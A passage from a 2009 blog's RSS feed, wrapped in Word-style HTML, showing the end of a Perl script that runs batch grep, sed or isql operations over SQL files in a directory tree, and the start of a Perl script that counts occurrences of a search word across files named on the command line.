<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>@FileList = readdir(NOW);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>opendir(DIR, $THISDIR[$i]) || die &#8220;can&#8217;t opendir $THISDIR[$i]: $!&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>@dots = grep { (!(/^\./)) &amp;&amp; -d &#8220;$THISDIR[$i]/$_&#8221; } readdir(DIR);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>closedir DIR;<span style="mso-spacerun: yes;">  </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>foreach (@dots)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>push(@THISDIR, &#8220;$THISDIR[$i]/$_&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>foreach (@FileList) </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>if (/$FileFilter/) {</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">                </span>$sqlfile=$_;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>} else {</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">                </span>next;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">     </span><span style="mso-spacerun: yes;">       </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>#<span style="mso-spacerun: yes;">  </span>Command for operating on the file to be used below.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span># Below command is for searching a key word in a file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>#$command = &#8220;grep &#8216;$Search_pattern&#8217; $THISDIR[$i]/$sqlfile&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span># Below command is for searching a word and replacing with other word in a file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>#$command = &#8220;sed s/&#8217;$Search_pattern&#8217;/'$Replace_pattern&#8217;/g $THISDIR[$i]/$sqlfile&gt; $THISDIR[$i]/$sqlfile.bak \n mv $THISDIR[$i]/$sqlfile.bak $THISDIR[$i]/$sqlfile&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span># Lists the file containing the key word.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>#$command = &#8220;grep -l &#8216;$Search_pattern&#8217; $THISDIR[$i]/$sqlfile&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span># Below command is for loading a stored procedure in database,</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span># Depending on whether you are using isql or bsql.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span># $command = &#8220;isql -U$ENV{&#8217;USER&#8217;} -P$ENV{&#8217;PASSWORD&#8217;} -S$ENV{&#8217;SERVER&#8217;} &lt; $THISDIR[$i]/$sqlfile&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span># $command = &#8220;bsql -U$ENV{&#8217;USER&#8217;} -P$ENV{&#8217;PASSWORD&#8217;} -S$ENV{&#8217;SERVER&#8217;} -D$ENV{&#8217;DATABASE&#8217;} &lt; $THISDIR[$i]/$sqlfile&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>#Uncomment this if you want the command to be printed.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>print &#8220;$command\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>system ($command);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>}<span style="mso-spacerun: yes;">   </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>closedir NOW;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>$i = $i+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/perl-script-for-performing-batch-operation-on-files/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PERL Script -A word search program</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:04:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PERL Script -A word search program]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=119</guid>
		<description><![CDATA[# This script is used to count the number of occurrence of a given search word in the files provided in the command line.
 
# The user has to provide the file names as parameters in the command line.
 
 
#!/usr/local/bin/perl
# Declaring the variables
my $wordToSearch;
my $fileCount=0;
my @wordCount;
my $totalWordCount=0;
 
# Declaring the variables for sending mail
my $fromaddress = &#8220;sreejith_ar\@infosys.com&#8221;;
my $toaddress [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># This script is used to count the number of occurrence of a given search word in the files provided in the command line.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; text-align: justify;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># The user has to provide the file names as parameters in the command line.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#!/usr/local/bin/perl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># Declaring the variables</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $wordToSearch;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $fileCount=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my @wordCount;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $totalWordCount=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># Declaring the variables for sending mail</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $fromaddress = &#8220;sreejith_ar\@infosys.com&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $toaddress = &#8220;to_dave\@infosys.com&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $subject = &#8220;Give some subject&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $mailer = &#8220;/usr/lib/sendmail -f$fromaddress -oi&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Prompting the user to enter the word to search and storing it in variable.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print(&#8221;Enter the word to be searched:&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$wordToSearch=&lt;STDIN&gt;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Choping the input to get rid of the new line character at the end</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">chop ($wordToSearch);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Starting the loop which will continue till the files given in the command line is exhausted.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while ($fileCount &lt; @ARGV)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>$wordCount[$fileCount]= 0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Tries to open the file one by one. If the file cannot be opened then the program will print an error message </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">unless (open (INFILE, $ARGV[$fileCount])) </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>die (&#8221;Cannot open the input file $ARGV[$fileCount]\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-spacerun: yes;">        </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#If the program reached untill here that means the file was available to open.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#The loop continues untill the end of file is reached.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>while ($line = &lt;INFILE&gt;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>{<span style="mso-tab-count: 1;">        </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>my $count=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Chop the line for removing the new line character.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">chop($line);</span></p>
